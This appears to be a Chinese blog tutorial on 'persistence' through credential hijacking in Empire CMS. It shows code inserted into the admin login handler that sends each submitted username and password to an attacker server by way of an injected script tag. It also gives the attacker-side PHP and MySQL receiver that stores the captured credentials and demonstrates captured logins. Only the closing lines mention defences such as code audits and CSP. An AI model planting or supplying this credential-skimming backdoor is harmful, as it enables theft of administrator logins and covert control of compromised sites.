网站建设公司上海,wordpress加入博客,illustrator,wordpress客户端不能用前言
在我们进行渗透测试的时候#xff0c;常常需要进行权限维持#xff0c;常见的 Javascript窃取用户凭证是一种常见的攻击手法。之前我们可能学习过钓鱼网页的使用#xff0c;如果我们通过渗透测试进入到用户的服务器#xff0c;其实也可以通过在网页中植入Javascript代…
前言
在我们进行渗透测试的时候常常需要进行权限维持常见的 Javascript窃取用户凭证是一种常见的攻击手法。之前我们可能学习过钓鱼网页的使用如果我们通过渗透测试进入到用户的服务器其实也可以通过在网页中植入Javascript代码的方式来达到权限维持的效果。本篇文章通过分析Javascript用户凭证窃取来分析如何进行权限维持。
正文 凭证劫持流程
“凭证劫持”Credential Hijacking是指攻击者通过非法手段窃取或获取到用户的认证信息如用户名和密码从而在无需合法用户授权的情况下冒充该用户访问受保护的网络资源或服务。实现凭证劫持的流程非常简单如下图所示 凭证劫持实现权限维持的需要
受控服务器恶意代码植入攻击者服务器接收用户名及密码
凭证劫持演示
前置环境准备
帝国 CMShttp://www.phome.net/用户数据库创建
在攻击者服务器中我们使用如下语句来创建相关的数据库
CREATE DATABASE flash;USE flash;CREATE TABLE info (username VARCHAR(255) NOT NULL,password VARCHAR(255) NOT NULL
);
以上MYSQL语句的作用是创建一个名为flash的数据库以及一个名为info的表单表单中包含两列一列为username另一列为password。我们本次实验使用帝国 CMS 进行实验测试在帝国 CMS 处理后台管理员账户名密码的文件/admin/ecmsadmin.php中我们可以看到这样一段代码
if($enewslogin)//登陆
{$username$_POST[username];$password$_POST[password];$key$_POST[key];$loginin$username;login($username,$password,$key,$_POST);
}
else
{printerror(ErrorUrl,history.go(-1));
}这段代码用于处理前端表单数据中 POST 上来的username和password并将其赋值给相关变量此时我们在if条件判断成功语句中插入恶意执行Javascript代码
$url http://xxx.xxx.xxx.xxx/index.php?user{$username}pass{$password};
$up script src\{$url}\/script;
echo $up;此时在攻击者服务器中部署恶意代码代码内容如下
?php
// 数据库连接信息
$servername localhost;$username root;
$password root;$dbname flash;// 创建连接
$conn new mysqli($servername, $username,$password, $dbname);// 检查连接
if ($conn-connect_error) {die(连接失败 . $conn-connect_error);
}// 用户名和密码从 GET 请求中获取实际应用中应从安全的地方获取
$user $_GET[user];
$pass $_GET[pass];// 准备检查唯一性的 SQL 语句
$stmt $conn-prepare(SELECT * FROM info WHERE username ?);
$stmt-bind_param(s,$user); // 绑定参数 s 表示字符串类型
$stmt-execute();// 获取结果
$result $stmt-get_result();// 检查是否存在相同用户名和密码
if ($result-num_rows 0) {// 如果存在则不执行 INSERT 语句echo 该用户名或密码已存在。;
} else {// 如果不存在准备插入语句$stmt $conn-prepare(INSERT INTO info (username, password) VALUES (?, ?));$stmt-bind_param(ss,$user, $pass);// 执行插入语句if ($stmt-execute()) {echo 新用户已成功添加。;} else {echo 添加新用户失败 . $stmt-error;}
}// 关闭语句和连接
$stmt-close();$conn-close();
?
此时我们模拟管理员登录进入到帝国 CMS 页面并先后用以下账户名和密码进行登录
username1:pasword1
admin:password
guest:guestpasword此时访问攻击者服务器数据库此时相关用户名与密码已经存入到数据中凭证成功劫持。
总结
本篇文章总结了常见的钓鱼网页的钓鱼手法以及通过使用这种手法达到凭证劫持的效果在工作环境中我们要进行代码审计来审查自己的服务代码中是否被黑客植入了恶意代码或者发现未知漏洞同时也可以实施CSP可以限制哪些来源的资源可以被加载到网页中以此减少恶意脚本的风险。